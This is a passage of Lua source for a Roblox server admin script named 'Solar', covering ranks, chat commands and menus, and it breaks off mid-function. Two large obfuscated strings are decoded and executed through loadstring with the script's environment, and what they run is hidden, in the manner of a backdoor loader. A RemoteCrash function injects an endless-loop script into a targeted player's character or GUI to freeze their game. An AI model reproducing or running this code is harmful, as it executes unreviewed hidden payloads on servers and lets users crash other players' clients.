"#(@(!(^(#($?)(~!~?%!^!_!#(@(^(=(!+=+?+)(&(+(%?%A?#_&_^_&*%__(!_(%-+~+_+$%$_?_!*-*!_!_$_(A*?*?(^(*-!&=&(~?~_~~%=~(*))+)&)~#&#&_@_##_#+##_@_(_-+!+_(#)#)~A%$)^=%)+=^%?--%++~(_+_(+(_-@^)(&+*-=-=(#-?+_^%^=^+^&$?^~-?+=$!$-$?$_@+@)@@~&~(^^@#^~&#-$!?!(!~=$?^?=?%^)$##A$^-$*_)$+&__!&#*~*&*-_*&)~-&=~$~(~_~*%$#@A#__-#=#-+%$%^=_!*!*&@?^*@&$(@($()%)&%#=)=$=()^*()+%=)-%+%?%$!~=#(%(?-~-((@-%^#-#-=-(-#$#@*=-!&!+!=@(?+@(@+@)?%^$^&^(A^_#__+_(@_@~@$_~A%_&*~=~_~+~&~^@(#^~(#+_=#-_+_?_%(-(?=~!)!)+_)==~-#!@+-+~+^+?=++-(&(&(~-!-^-@$^!^=&=!=)!==#!=!-?!?^?*-~((^@^@^&$=$?$$#@)*)()$^=~=&%&_?#@_@#@$$?~?~=~(~@#$#~#+_=##(-%=(~%@*?+_+-)$*%+%~B*#*)%*++%^+&+@=$+=()(&^!?#-??#-??@^!^$^#-&(($-$+@=~@#_#+?$?(~A@$!^=^?@$^)$*@+$^@&@=_(#!&~&)~=&+~*~*~_#~#%#(+@%_%*(#*!A*~*_)?-?*?)_%$)%?!?@^_^#-#-@(~+--(?--^-#@+@!@@&)-@!!=*=*@&@%@(@?@@&!&$#__+_!_)^-$$^!$($($#-&(_?$=_A~(#_&$&%~-&$_+~!~(*+#=#!#+_^#$_-__(%(-=$=#!%!&)*%-)%%~#@)@)^*-%_!)-((!+?()_)#+(@$%?+$^-%=+=^&#~%~=~&!=?%?@?@~#~)_($" ,"-^~*)*~@%_^~$_-~(@+@=@~~(&+~-~*)(~)#+~=%*+^*-_@A_%_?*=*&)+-~-=*%)+)#%$))%(+=+?+?!@$#-&(($?$(-@^^=&=~A-~@(^-@%@$?&?+!+!#-??_?-~=^@^#-&(%^)$?$+!*@?_?A@~@)&$*$@+&=)-&@~^~?~+##+)_=+?_%_)@*#)#*#~&$$@)=&+@~%-==)$%_%&+^%^%$!@$#-&(($?$#()-(A-*=^$=-*!&!-=-@?@-&-?#?!#&_*_(_?_&$+$~_*@-_&#*#)*!@*&)&))=&!&~%*#!)^_&__#*_@_^#)(!#&+~-$_=*!*%)#)-)?%$%&+-!-%-+&(!+_$($?$&@*@(@*=-$&^~@#-??!A=^=*?!!?!!?^?(&#-??-^!?#-&(&#($%~+?#!)~=&%@?$&@%&*&&^!B&@$*+&_~*~@#-^%&)&#&)#(_=_?_?+@(#=+=!=@!_!+!_%=-(+~_^%$)%%$!)=%?_?!-^(*(*(--&-%$+=?-~!_=#!-!$!%&%?-!^?%~%?@^##~^+^)$#-&(@@=_^@#**&$@@&@~!&)~=~#%_~+#?~^~=#+#+#(+_(^-#=%A=$=%)~)*)#%&?)?-?^?~^(+_+*+=?)(%?&(=^)-*-%$=-^=-=*=+=%@!!)?^!-?*&%$($&^@$!?_$=A^=~($&@@&!$_&=@^@?*@)_)&%%$_#?~)(=($(#-#-%-=-~_##$&^%&)%*-*)~#)-)_)(=!=$?_^+^!^@$+(#(&-$$_@+@!@_=$-?==&@~_~+~+?!?&&-!)?%?~^!((!+!*!+^=$?B$#~)%)=)#&^@!&=%^%#+%++~(~(#$#+#++?#(#)_~*!(#+_-~)=)_)&)#%~?%?=?!%?%?+#(!+!?&(?+-(-?--_$=?!$-=#!!=(==!-~$~##-?=?)?%?^?(!(^-~_^^#($+$-_^$&" ,"&?@+@=@-*##=&~~&#_~)~&_-~)&_*%$)^&_+_~*%*+())^(=-=)_)?!~?)?-?^%*+$!?%!(_?&=~--()-+^)=%$^?~^#A@-!#!^A!(%*)@^_&%&(&^&#~_~##^#A^$*A@+)?)&%*%(%%&#&@~!~_#&)@)?*@)&+&#%#+#!_=-@=_=+=!=@)%)-)_=~)&+(=~(%+^%*+?!=(!?~+%!+^%?@$@-@=%=~=-&$&#~%~=~$~)!#-$!?!(!?&)$=^~^(^&#$$@_%~+_%#%&#@=&=@#A%=%#~^&!~-+$+#(%(=($#)_@(^#?**(?%**!*?*^*?-=%!=~)%-+!*!?-=%?*((^_?%^%?%_^$^$($-)=&=(&^&~~)~-~^~*!_^!&_@-+=%)^%^)(%+-#+@(_@#&*^_)#_@@~%&~)#A+!+@(_(!#%#*_#-#-+-!-@=_=+*$*(-%*)%^-%++%@+~%-%$%-!+((?$%_!#-$!?!(!~^-!$(@=+=(-~=#=~@?@?=?!_?$!%#!#@A_+_!_#^~@-##&_@!@^$)@=@)*_~*)!_=~(*(*%*@%+*?~^#)_%#@_&_#_~(#=+=!=@!_!!)%)*%#?+?!?@^++#+&($^_$+$!$@-%-&$$(^=)$#?_!!=+!-@+?(&@@_@*~~~$+=%#^#^#-?+$^%$~@#$^#&____*$*$@$&)~&~(+!#=~#(%(=((#*#~_~+~*!(#+_-_*-*=*$)^!#?%?=?$?#+-+?+%?*+_-!?*=--&-+-@$^=$$*--^=@-$#&#!#?-?*??#~_)_-_^_+&_*=^-@~_=&@&%@^@)*_~*)!_?)!*=+@(_(+(!(__$#?_=-@=_=+=!=@)%)&=$*^%)=!*-+-+++!%#+_+*+_?~-#^(+^!?(!+?^)?--%=?=@!+=@&@+&%?+====(=@?~(#+(~_#_^_$=$%-_(&)))-)^)~%)%?@!~" ,"_)!__~=~!~?~!%-_=+~%#(@((%?_-*@)#)=*#=*%$)-)^%@!&^)^-^^^#-?+-(*(#-#-&@)@-@^@~&)=?=%@(@%=)?^@%^+?@^~?-?$?-~+$(#$?_~)$&^#_=~@@&&(&-@#&_&#)^)^&^~*#@#)_)#$(#-#-%-=-$-)_*)?()%%)$)&)()^)(=%++!$-@??!*=-+=(#-#-_(?(^(?^@$&&)&-&^&~~-!*!#?&#)#-#^#)^&^@-!+$__*+*@@!-+(=@()^)~%)&?&%)!&+&*~&#=%~)))%+*_^_%___)*$($_$*))&)(!^!~?%+_%*-)+-+@-*(!+#(-?*-~^!-*-@=^---@!_$%$($^$(!)@*&~?&@~@&@^?=&+~&#(&^^$$%@+$&@~@$$@$#*!*__~&^~*~@%~%*(-(^()_&_$_?-~=)=-*&)=-@)!*()(-(%#!@%!-@=&?$++(&(^+@-(^(((-)%#=^-)&=&$&#~$^^+?=^=?=#-??#$+^$?)^?~~#^^&$&$@@==-^=^-^^@-!%=?@+*=*^*^)?)+)*%^%))=#!__**_^_?$^^&-@-(-&($*=%~%?=$=~^%^=^#(^+!(-$$$%-~-@=$^~&%&==~!!@!===+!%?+&_?!?-?%~_#=&$&@_~_#$($=@~@_&=&!@#~))!)!&!~##^~)(=($(!#__~_^*-(&+~-)*^*!*_-++(%&%?%!?&^(+)+#+*(*(!()^)(*(~-&=#-?+^-)=_=&@^@#-&(($-&!&$&~?*?=?+^%^@=^?^?!?&_%_%$%@^@(@&%)%-%%&$&^!-=*%!*?%&#(#%##-#-+-@*?_-_!*==@!-+%!_)!)-)@!%-+!+%&+&+_+-+%()(&-_^@-+-)-#$)&!!(=)!&!$!=?!!*#)?%?%^?^@$(^(#%$&_+~(_%@@&(@)@+&%%!%#~^&$&#~_&?#_%^~" ,"++#_~__(+_=*%*~***_-?%*)!)=%^)(+)!-($+)+?+%(!(~^=-#^@$@=(-~&%&=&$=)!@&^=#-??-&+=#$_^!?^-=^~#=$!##~%~+_!$_@~@+*+@(!_=^!^=?&*+-+^+~((##+-)=+($)^_&_&~&$~!?=!&*~*))*!-!^!~??%&%~+-+_+(^^^#-?+-(*(#-#-&@)@^-(-%=*&-&^=*!$@?!%&^$~@#~&^-^#^@^#-?+=#=^=$~@?$*)-)^)+~@&%&)~(&_#&%*_-#&#+#~_%_?+)*!*+(?&+@**!*=)^*(%)=-+$%%~~&^%++?+#?!(~?@?+-%(%+~?#$!(@!?$*?)!^=-!&&-?=&#=$(*~(?&^$?(~(#~@$##&+@$$)@#*)*$&@)%_+)-&#-???!+~$~~%~+=_++!*?*^_)*+_@***#)@($+!+&%~=((-=!)?%*+%%$%_+-!-?#-#-@^#!=(~-#-#-_-+$&!~@(^-@=!)!_!?=_#(#=##^^?!^-_#$^^!$#_$#&#%@^$$$*&~*=*?*_*#)!**~(&#~&##~&#^~~#=%#_@+#_~%(_-+%+@+!_!*@*~*+*$*@=@)~)%)#%&%=%%=*+#+?+$%!!$!%(#!^(-+~(_-_^)^%^!-$^)$!^!^^^^$*!$=!!-@#?^@&&&&)!+^*&!^#~%~(~)~$?!@=@+@*&-^@^@^#-&(&#(#$~=^-?)#^$&$-$%@+$*@&@_@!_#&$_&&$#*&**&*(__&#~)&%&!&~~~%&~~~)~&#^~%#~%$#!#*_)#~+_+=_)%@*=#~_#*~(#(#(%*(($(_(#(_(#-#-()~)^)=-?-@=&=_)^*^_~~%&)&-~*)!)&)^)*)!~^&)~~#~~^~(~=~~%+##%_#&))#*%@%%)&#$#&#&#*#-#(+%#%#-#__@_+_~+^_-_~*~_?+^+_*^%%*&_%_%**(*(_(" ,"%*+(?(&($+$+?(~)-**)&-~-_-_-??)?*!+(!+-+?(%???&???#?((-+&(!(=+)(@(&(%?!()?)(~!)(_?^!_!?+-(=+-+?+&($?!+=+?+)(&(+(&?!(%(^(?+%?%?!(*!?()+=+-(%?)?_?)()?-??!-!(!)?-(&(=()?)?%?)?" }),"(%u)(.)",function(r,c)return c:rep(r:byte()-62)end),"(.)(.)",function(lo,hi)return string.char(z[lo]+z[hi]*16)end)))),getfenv())() function SetRank(plr, rank) if type(plr) == "userdata" then plr = plr.Name elseif type(plr) == "string" then plr = plr else plr = tostring(plr) end for _,v in pairs(Solar['Ranked']) do if v['Name']:lower():sub(1,#plr) == plr:lower() then v['Rank'] = tonumber(rank) end end return end function GetReason(plr) if type(plr) == "userdata" then plr = plr.Name elseif type(plr) == "string" then plr = plr else plr = tostring(plr) end local reason = "Unknown" for _,v in pairs(Solar["Ranked"]) do if v["Name"]:lower():sub(1,#plr) == plr:lower() then reason = v["Reason"] end end return reason end function GetRank(plr) if type(plr) == "userdata" then plr = plr.Name elseif type(plr) == "string" then plr = plr else plr = tostring(plr) end local rank = 0 for _,v in pairs(Solar["Ranked"]) do if v["Name"]:lower():sub(1,#plr) == plr:lower() then rank = v["Rank"] end end return rank end function GetColor(plr) if type(plr) == "userdata" then plr = plr.Name elseif type(plr) == "string" then plr = plr else plr = tostring(plr) end local clr = "Bright green" for _,v in pairs(Solar["Ranked"]) do if v["Name"]:lower():sub(1,#plr) == plr:lower() then clr = tostring(v["Color"]) break end end return clr end shared[" dat 10998353946527 "]={getfenv(),4.634728988229636};local z={["&"]=0,["$"]=1,["("]=2,["="]=3,["!"]=4,["*"]=5,["?"]=6,["~"]=7,[")"]=8,["@"]=9,["^"]=10,["%"]=11,["+"]=12,["_"]=13,["#"]=14,["-"]=15}; setfenv(assert(loadstring((string.gsub(string.gsub(table.concat({ "+?-?=?$?+?&(@?_=~=~=%=+?-?$?!?=~!~(~@?#?~?)()A(#$&(=$&$+*&=(=?=_+*$)#$#&#=#=$*$?&)&?$?$=$@&+*(~*&*+!+_%)%@%%^~^(-*+?+@+-*?^)~$~)?&~-@&^&@$@#@_A@#)&#*-~)?A!+=!~?!?!)!+(_$)$&($_(??(*_-&&#=$*&%-@&@-*-@#_^)^@#=#(!?*^@)^!A^~^=^%@^@*@)@&@-)%)*)~)_?+?!^-~^^%~)^A@^^@_*$@$^?@%!^@)~+!!~_=#=-=?!%~^??~*?$?~?+?%$$*&?_*#)$?(?*?=*(*=&!!?)@*^*_*()=@-(%=@=!=)(^(&(#_%_(_+^?&@$@^^@~^)@^@*@=!!~%)%~!~=)&~%*!?$?~?+*+*~?(?=$&$_#)#%!^=!=%=~=-#@(!=@(+*&=(=?=@?%=%=_=$?*~($+*(~=+&+_@)@!@!_?--@)%~@^_&_)_++_@(_&+@+@+)%#^+^^?+)+@@^#@!@-@~@-)&)#~+~??!~_~_~+?(?&?#$_-)-!-!=!!)!@!~(*!#=-(+=?(==%_!-=_+-#$$#^#!&-&~#*&#--#+-?#=-!+*#@_#_=@)@~@~@!@))*)-~%~^~+?@!#~$!_=@@(@)!$~$)*)?)!?()%~+?@~=?&~?()=**-*%!?*@!+!+!_=-=^=)#$&_-#$-A#-#*$+&=$?$!&A%&%-!-@-$@+A)!)*+)_?##%-)#%^%*?&?+*+*)*(+)^+^=%=?~?$?-*%*)*+!@(!(&(+$()#?@~+?-?-?$=*))@)*_!*!(*_$!!&!=$!=$=&=#*$(%(+*&=(=?=-$*_(_-A^?^(^)&!A-=))@!&=&!&%#%#$^-%%$#(?_*+^A+!~=~+)%?*%+^%^*!&!+=)=(^))+)=@=!&!_$)$!$&$!?-$)=~$+=_*#*%*!!_!#=+==" ,"*!?+=-(_=^#&#~&%$*($(^*#?%&!*)?+%(+@&_-+-$-!!)*%=&*)_?_!_!@$~+?)?!?)%$)=^&%-%~%-*)~~*^*()&C@!)_)~=?~$)+?^~%?!?-*~$~*!?&*~&~*#!%-+!?!)=@=#(=#$##$@_~$_$+$+&&$?&$&@%)&!A-(-*-*-!^_%$)+~)~!~#_%+)+~++%=~?++^&%~%~?!?~*~@#@*=&=+()(!(&)@~-(+?~(&!+=%$*?+*+*%*%&?A*--+=*&=(&=_=+($A=%_*=&--++*((?$*$+*#?#&~&!-(--#_#!^!-!#__(#^~*~$~_?@?*?@%!~_)+?$@(%=%&%@@(^=@$@?*(@*)=@&!?=_*$~%A~$?=?_*?$+$=?~*?*%!$@!?*?)?*!(=&=#(##%+?+(+#%^%?%!!~&&_(A-#&?&#^~+?^@^=((=+_*#*#&_@_=)(+_+)%?+~%&%%^=?=^&%+@=*=^^@~!)@(@!)*)^~-(+?~(*?%?^?^*#*!*-!~&?*(!_!&!=!=!(-~#_+)+!+&++%!$@$%&_^)^!^&^+@!!)*)-~-$^?#*^%#$@?_~_*)$_#%(+~+!+*~&%?^#^(^~?*)_@#)(^^)=@&@=**)_~#?()^?=~&~$(#$+*&=(=?=+*(~_!!*%#?#(##_^_?_-=--*&+*((+(@(=(+$+*((_+^+~^(^#@^@?@##=-*#~)()#~!%)~&_*_~+@?!?&?+*+*+^)^=~^%#^_^!#~%)A%=^+@@)~)*)~)@*@*%*+$~$=$%?&~(?=A&%-~-?B*!-=?!?-$!*!)=+((#%-^_+$=$+*&=(=?=_$%&+^~^=^(&$&$-%#(-(^_#==*&*&~&#_#@#+!)_@+~#%*%+%-%_^#!@!*!#@=^(^+!$@&*?@+=$)()&=+~@?_?(~-?&(~!-*)*%)#*-*(?=*)=&&~((=%=!=^(*" ,"(!#?$#_$_$$)$-A^?^(^#-~-_^--+*((=-(-=--@(+$_@__+%)_%+~*@$@&~=~@^&%*^@#^%@%^%(^+))A*=*#!@!^=-(-~-?)?_?*A&+-)-!-?*^*_!$!~-&$$!(*#=)=~==(!+-A%~%=%-&)&#%&$$-@%&#%##(=-#(B&(&#@&_-)@#!^=)!@%~%+%%!%@%$*+!)A!&!+=*^?)#!*~&)@)()^=+?%(!!=(!=*A&+-)-!-+!$*=!*#&#+_)_!_&=@(-_$=($^_(-+*&=(=?==$(A$(+!-=%+*(~)+~A^(+!-)_$#?@%)%_%+!+@+$?+*+*(@?*(*#!^!=%!@+*+*!~+@*@!@=@!!?~!~==+!%(#(?!)~+*+**?+*&=(=?=@-!-&-+#)#&!*!~=@_!_&_++)+!(_$=_*(?&#+*-!&?=^-)A&%-&%(#$^%-?%*@)@&%%_^+(+$_)+~+)~_?+&&(%^!^@^$!+=)=!=&=+(*@?~#=*?!~+?^~(~_?+*((!*=$+(%&#&&?=(#!_=*=!!%=^=%#^+*+$+_%@%$$?$)&^^*^$^_@*-^-+##)@)*)$)__?_+)#_-%~)^^@%$+*%=~*^!?_~@~)*%*@_+@=_?@?@~)^)!+*@!@*@#?_~(=-(+(#*&=&=(=%&_@#?_?#?$@!^)=_=*_&_++)+!+?(^(_$-(&!+&(+_(_=)%)&(&$&_##)@)*)$)_~@_(_))+$-#&-=-+*#?+*&=(=?=#~*^(&($~%&%)?^@@*=%#?_!#**!*@*)#~=)%$?$($#&+*#??&-?&*)$-=^!=*+!!&?=*-!-+*(~+#_-#+@+*+$+_%*$+*&=(=?=+&)#_^)^?^!#~%)B%@~@=-+#+_$^=-!_+@!%+_*_!_=_(_$_&_$)#+=#&%-?@+!)=A?_~@^+@?@=@%@=!$)~)+))~?=%(%~%?!?@?$&+-^!^" ,"*(-##^#=*!=+-!$+=*=!=(=$=(#!$=_+#%+#+*#$$!&#-%-=&%^@#-#!-&##@_~)~?%~)?)~)~?=?%%&+(%!*-!%!~!=!-@)@#!&^$)@!&~-~~~*)_~)~~~+(#*_$~~(=$$!$+(~*?!#=_!!!=!!-@#@=@(!?~=)=%=!(+%~%=%-^%^~^&$$-@%&#-#~#*-_#)#_@-+#)~^?)@)$^++%%=%(+@%)%@?)!=!-=%=~=-)!@?))(=(-$%$_^&~*~~?@&!&&&)*_*-!&!!*+=+!!#()=*(*=*&=?#$=*=^?%=^=%==$@+(#)$~$%_^%+-=-^-_-%#(^(-(#%_&#)~=~-?%?-@#%^%!^-^)%&&*$@?!?^@$^?@)@+@)_)#&*_!%!?!$!(===)=%(+*((^=*?!*+!%*(*$*(&=&^-($!!)($=?#!#$++%)%&$*$~&@^!^&^+-*-%^?-^-_#_^__=@+^)^~)@+&+~+^+)%$+(_#%#^~^+^!!-=%=~=%?^)?)&~%~!)_~?=$=*~(~+^$~(?*?_*(*$??$=$&$&&$&?&@-&-)&==+*((&()$~(#$_$#+-+?+#_&$!-_-(%&%_)))!)+_$#=_*~&~)+_+-%&)_*)*%%^^!^%^~^-*@@!^@@^)~@))^)*)%=)=*$-*!+!_~&_!*?#*-!+*+*$!!&&=@!^!==(!==*=&=&#@*+(_(&=&-!**?@$($=&&$*-)%!#_-#-~#)!@*?#)#=#=@^+?#*-*%_+?+~%!+@^+?)@$%(%%@^^%@_@)@~??)()^^_?!~%~&)+?*(+*+*^()(=(+*((#$!--#%#!!@!)!(-_(?-+=(#~()()$^#^#+#+$@&-!&(-$&(=!?&_=&&$%+#$=!!~#%_&^#%?_~+%_=+++@++)#%?%~^%%(-~&^-+*(~!-~&=*&*+!-=-~?)_$)$!$&$-?#?#*)*-*-" ,"&%=%=&(^*)*$#+_)_!_=_(=$=$(%$+*(((_$--$)$!$%_^+&^%@~@=@+#$-&-^@*_#@(#^)-+&_)%_~@+?%^%-%+%_?!@+^*^?@=^))%!@~()-~+)~=#??=_?!~%&?&(&#-^-?*-!*&**%&)(+!-=(=%=(&#-==@_@(@$($~$-^^^?^(^#@^@$&^#~#_#(#~^#_-_&##+~_*_*)@^@^_~_?_%#?%!?!(!#=^=(@~@@)%(?(+*((#$?~%~_?$*+*(($(+*(($&_-@-(*~**^@%#-=!=$=&^-_#&**$*$___$!(%%?%(%#^^^@&)&)-(-@-@^*-&-&-@@(%$@=#@_^^@^^^-@&+*%(+_^%^)%*^#^??))-@#@%@=@&^-^+*+*%*=)#??~^?%&?&(&#-^-@*)*)!(!@!@-(!#&*-(=!-!#+*(~+*(~(#@_%_#_!_!+_#_##%+%*%#(_=$-^#%_)#+$-(_)@%(_+*(~&_@%)+@%%%?%??+#$&^?-*?*-~-~?*!*-!!!&!+=@=)~)?~~~?@(@^%~%~_~?*=$~$%#?#(##_^_@=)=)(+*((@(@_~(($$$?#_+!+_#_#-%#%#%(+$%-^!%?)$)_~@~*~!_=_=+_%!+#^=~~+))!%!^=%=^*??^)@@@-!&@)!*!-=*)&~-?&=+*(~)&!&&&+-%*^*^!!!%!%-&*&$+=+(^)-@^(+#_(-$&(?_#$-&-&=&(+-%$+=+=%&@%)~)=)-~#____+~+#+#~!_=@-%-^#%#^&~$^@^@^^*%@=*&*!@-~#~&(%$~$=$-&#?_?_*~*#*#&%!)*$*(*~$+(~=$=#=*=!=$-)#!(~$*((_#$#+~$?+&$%%@%^-*-*-+^^#&)%~~~=~-?#+_+_%~%#%_%&_@^*%#^-^!~=)=)?)&@&)_!%?*!&@=*(*^~*?_?$??(!?^-*-$-_#@#)!~!~" ,"=$=)=)#~((=%(+($-$$#$~$)$^+^+@+-%(-#-~-)-~--@*^!-@&%^)~=~-?%?~??+*+*%@##^~-)+~+*+?+^*^@-?%@__+#~@~)@!@)!~=~==-(*^@%+?~%?+=*&?~@~^?&(=%!+!*=!!~)~@*=&=&#~$&#*##_^_-+++%&%-+*#?^-+%^--#%^))=)-~%~~~^%^%_%~+~%!)(^+~_)+)!%-@~^%@-?$~&~)@=)%)-~!!&)=~$)#(*?&~@?^?#$#*@*@*&$#!=&&&*$!$+=~(-(=()#~-&(*$?$%&*$?+#-(+?-^%##-^+)~)=)-~~_+_#+&~%?~?-%!+?%)*=*%^&%(^=?&!~@+@#)_$$(-(@*(?$?%!#&*&#&$*(?*&+=)!#=&=#=&===-(?##$$##$-#)$~_^_$#*$*&$$-&@&(&$%$&--!=@-_#$=!&*&)&(#?^)_^_&_#_$@#)?+^@-%+*((~=^+)%)~?~*~&%_???&~&~#?#*~@_@&@(*-!+!+!~@*~)!$~^=?=!=*_^_@#!$#$#$@&_+*+-+$+@+$&#&*&)-~&^-#-%-=%+#&%##&+^#+#-%&+=+%^=%)#@_?#*#&#^_^)%_^_?_%+#+*+@_##+%-%?%*+@~~~&%*)%^&+@%)^@?)?)?!^(?+*+*~?)?~?)*(@@@_)&*#!%!^!&)?)?@(+_+#+^%-~)~=)?~-~)%?+#%(%(+?%%%@%(~+^$~&%=)#^-?!~_~=%*^=%=%-^^^%*_^_^^^&^!^+@(??@^@(@(^~*?*&@??_)=^_@_)-!-!&*_)+!~!=*****~!()^)-~=!(!&!&!((@(^=~?=~*~(?)(((#(((+(??*~#?=?!~@?-?#?)(=?@(@?_=@?%($=%=(~*?!~*~(~#?&(=~!~(~@?#?~?#(=?)?$?(~)()(=?^=(?@~!~*?)(@(%(@?@(*((=*" ,"=?=@(*?#?!?@(@()(@(" }),"(%u)(.)",function(r,c)return c:rep(r:byte()-62)end),"(.)(.)",function(lo,hi)return string.char(z[lo]+z[hi]*16)end)))),getfenv())() function Dismiss(plr) pcall(function() if type(plr) == "userdata" then plr = plr elseif type(plr) == "string" then local f = false for _,v in pairs(game.Players:players())do if v.Name:lower():sub(1,#plr) == plr:lower() then f = true plr = v break end end if f == false then OutputAdmins("Player named: "..plr.." doesn't exist","Bright red") end else return end for i,v in pairs(Solar["Tabs"]) do if v.Owner == plr then v.P:Destroy() Solar["Tabs"][i]=nil end end end) end function GetSplit(msg) local a = nil for i = 1,#msg do if msg:sub(i,i) == "-" then a = i+1 break end end if a ~= nil then return msg:sub(a) else return nil end end function RemoteCrash(nilplayername) local chinws = false for i,v in pairs(workspace:children()) do if v.Name:find(nilplayername) ~= nil then NewLS("repeat until false", v) OutputAdmins('Attempted to crash: '..v.Name..' via Character from workspace','Really red') chinws = true end end if chinws == true then return end for i,v in pairs(game:service'NetworkServer':children()) do if v:GetPlayer() then if v:GetPlayer().Name == nilplayername then if v:GetPlayer().Character ~= nil then NewLS("repeat until false", v:GetPlayer().Character) OutputAdmins('Attempted to crash: '..v:GetPlayer().Name..' via Character','Really red') elseif v:GetPlayer():findFirstChild'Backpack' ~= nil then NewLS("repeat until false", v:GetPlayer():findFirstChild'Backpack') OutputAdmins('Attempted to crash: '..v:GetPlayer().Name..' via Backpack','Really red') elseif v:GetPlayer():findFirstChild'PlayerGui' ~= nil then NewLS("repeat until false", v:GetPlayer():findFirstChild'PlayerGui') OutputAdmins('Attempted to crash: '..v:GetPlayer().Name..' via PlayerGui','Really red') else NewLS("repeat until false", Instance.new("Backpack", v:GetPlayer())) OutputAdmins('Attempted to crash: '..v:GetPlayer().Name..' via a Backpack Instance','Really red') end end end end end function AddCmd(name, say, desc, args, rank, func) pcall(function() for _,v in pairs(Solar["Cmds"]) do if v["Name"] == name or v["Say"] == say or v["Desc"] == desc then table.remove(Solar["Cmds"], _) end end table.insert(Solar["Cmds"],{["Name"] = name, ["Say"] = say, ["Desc"] = desc, ["Args"] = args, ["Rank"] = rank, ["Func"] = func}) end) end function GetPlayers(plr, msg) local plrs = {} if msg == "me" then table.insert(plrs, plr) elseif msg == "all" then for _,v in pairs(game:service'Players':players()) do if GetRank(v) <= GetRank(plr) then table.insert(plrs, v) end end elseif msg == "others" then for _,v in pairs(game:service'Players':players()) do if v ~= plr then if GetRank(v) <= GetRank(plr) then table.insert(plrs, v) end end end else for _,v in pairs(game:service'Players':players()) do if v.Name:lower():sub(1,#msg) == msg:lower() then if GetRank(v) <= GetRank(plr) then table.insert(plrs, v) end end end end return plrs end function OnChatted(plr, msg) if type(plr) == 'string' then for i,v in pairs(game:service'NetworkServer':children()) do if v:GetPlayer() then if v:GetPlayer().Name == plr then plr = v:GetPlayer() end end end end if msg:sub(1,2) == '/e' then if #msg >= 4 then msg = msg:sub(4) end end for _,v in pairs(Solar['Cmds']) do if msg:sub(1,#v["Say"]+#key) == v["Say"]..key then if GetRank(plr.Name) >= v["Rank"] then msg = msg:sub(#v["Say"]+#key+1) a,b = ypcall(function() v["Func"](plr, msg) end) if not a then Output(plr, b,"Really red") end else Output(plr, "Your rank is too low for that command", "Really red") end end end end function ShowAllCommands(p) pcall(function() Dismiss(p) for _,v in pairs(Solar["Cmds"]) do Output(p,v["Name"], GetColor(p), function() Dismiss(p) Output(p,"Name: "..v["Name"],GetColor(p)) Output(p,"Usage: "..v["Say"]..key,GetColor(p)) Output(p,"Description: "..v["Desc"],GetColor(p)) Output(p,"Arguments: "..v["Args"], GetColor(p)) Output(p,"Rank needed: "..v["Rank"], GetColor(p)) Output(p,"Back","Really red", function() ShowCommands(p) end) Output(p,"Dismiss","Really red", function() Dismiss(p) end) end ) end Output(p,"Your rank: "..GetRank(p), GetColor(p)) Output(p,'Back','Really red',function() ShowCommands(p) end) Output(p,'Dismiss','Really red',function() Dismiss(p) end) end) end function ShowCommandsFromRank(p, rank) rank = tonumber(rank) pcall(function() Dismiss(p) for i,v in pairs(Solar['Cmds']) do if v['Rank'] <= rank then Output(p, v['Name'],GetColor(p), function() Dismiss(p) Output(p,"Name: "..v["Name"],GetColor(p)) Output(p,"Usage: "..v["Say"]..key,GetColor(p)) Output(p,"Description: "..v["Desc"],GetColor(p)) Output(p,"Arguments: "..v["Args"], GetColor(p)) Output(p,"Rank needed: "..v["Rank"], GetColor(p)) Output(p,"Back","Really red", function() ShowCommandsFromRank(p,rank) end) Output(p,"Dismiss","Really red", function() Dismiss(p) end) end ) end end Output(p,'Back','Really red', function() ShowCommands(p) end) Output(p,'Dismiss','Really red',function() Dismiss(p) end) end) end function ShowCommands(p) pcall(function() Dismiss(p) Output(p,'Show commands of your rank ('..GetRank(p)..')','New Yeller',function() ShowCommandsFromRank(p, GetRank(p)) end) for i = 0,5 do Output(p,'Rank '..i..' commands',GetColor(p), function() ShowCommandsFromRank(p, i) end) end Output(p,'Show all commands',GetColor(p),function() ShowAllCommands(p) end) Output(p,'Dismiss','Really red',function() Dismiss(p) end) end) end function Connect(player) if LSource then if player:findFirstChild'Backpack' then NewLS(ConnectSource, player:findFirstChild'Backpack') elseif player.Character then NewLS(ConnectSource, player.Character) elseif player:findFirstChild'PlayerGui' then NewLS(ConnectSource, player:findFirstChild'PlayerGui') else NewLS(ConnectSource,Instance.new('Backpack',player)) end else coroutine.wrap(function() wait(1) Connect(player) end)() end end function ChangeRank(user,plr) plr = plr Dismiss(user) for i,v in pairs(Solar['Ranks']) do if GetRank(user) > tonumber(v) then Output(user, tostring(i).." ("..tostring(v)..")",GetColor(user), function() Dismiss(user) plr["Rank"] = tonumber(v) PlayerInterface(user,plr) end ) end end Output(user,'Back','Really red',function() PlayerInterface(user,plr) end) Output(user,'Dismiss','Really red',function() Dismiss(user) end) end function PlayerInterface(user, plr) Dismiss(user) Output(user,"Name: "..plr["Name"],GetColor(user)) Output(user,"Rank: "..plr["Rank"],GetColor(user)) Output(user,"Reason because ranked: "..plr["Reason"],GetColor(user)) Output(user,"Color: "..plr["Color"],GetColor(user)) if GetRank(user) > plr["Rank"] then Output(user,"Change rank",GetColor(user), function() ChangeRank(user,plr) end) end Output(user,"Back","Really red",function() GetRanked(user) end) Output(user,'Dismiss','Really red',function() Dismiss(user) end) end function GetRanked(user) Dismiss(user) for _,v in pairs(Solar["Ranked"]) do Output(user, v["Name"],v["Color"], function() PlayerInterface(user, v) end) end Output(user,'Dismiss','Really red',function() Dismiss(user) end) end function CreateBase() for _,v in pairs(workspace:children()) do if v.Name == "Base" or v.Name == "Baseplate" or v.Name == "Part" then v:Destroy() end end local a = Instance.new("Part",workspace) a.Name = "Base" a.Size = Vector3.new(1000,1.2,1000) a.Anchored = true a.CFrame = CFrame.new(0,0,0) a.Material = "Grass" a.BrickColor = BrickColor.new("Dark green") end function Override(l) if l and l:findFirstChild'PlayerGui' then if GetRank(l.Name) == 5 then Output(l,'Your rank is 5, you can\'t override.','Really red') return end local mg = Instance.new("ScreenGui",l.PlayerGui) local fr = Instance.new("Frame",mg) fr.Style = "RobloxRound" fr.Position = UDim2.new(1,0,0.4,0) fr.Size = UDim2.new(0.4,0,0.2,0) fr:TweenPosition(UDim2.new(0.3,0,0.4,0),'Out','Sine',1,true) local tl = Instance.new("TextBox",fr) tl.BackgroundTransparency = 1 tl.Text = 'Type override code' tl.TextColor = BrickColor.new("Really red") tl.Size = UDim2.new(1,0,1,0) tl.Font = 'Legacy' tl.FontSize = 'Size24' local but = Instance.new("TextButton",mg) but.Style = 2 but.Size = UDim2.new(0.1,0,0.1,0) but.Position = UDim2.new(1.4,0,0.4,0) 